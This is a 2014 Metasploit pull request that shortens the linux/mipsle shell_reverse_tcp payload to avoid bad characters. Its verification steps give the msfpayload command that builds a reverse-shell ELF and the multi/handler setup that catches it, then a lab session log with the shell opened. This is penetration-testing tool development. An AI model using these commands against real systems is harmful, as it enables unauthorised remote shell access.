rapid7/metasploit-framework — pull request #2832 by jvazquez-r7 (2014-01-07 16:12:42+00:00)
Title: Improve shell_reverse_tcp mipsle payload

Same history than #2542. The current shell_reverse_tcp for mipsle includes a several instances of common badchars like \x00\x0a. This pull requests modifies the shell_reverse_tcp mipsle payload for a shorter version without these common badchars.

Verification steps
---------------------

- [ ] Generate an elf with the payload embedded with the help of msfpayload:

```
$ ./msfpayload linux/mipsle/shell_reverse_tcp LHOST=192.168.172.1 LPORT=4444 X > /tmp/shell.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsle/shell_reverse_tcp
Length: 184
Options: {"LHOST"=>"192.168.172.1", "LPORT"=>"4444"}
```

- [ ] Upload the payload to a mipsle linux system providing "/bin/sh". Provide +x permissions with chmod
- [ ] Run the msfconsole and use the exploit/multi/handler with the same payload:

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/mipsle/shell_reverse_tcp
payload => linux/mipsle/shell_reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
```

- Executhe the payload on the target linux misple, you should enjoy a new session on the console:

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.134:58972) at 2014-01-07 09:57:04 -0600

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uname -a
Linux debian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
file /bin/ls
/bin/ls: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, with unknown capability 0xf41 = 0x756e6700, with unknown capability 0x70100 = 0x1040000, stripped
^C
Abort session 1? [y/N] y

[*] 192.168.172.134 - Command shell session 1 closed. Reason: User exit
msf exploit(handler) >
```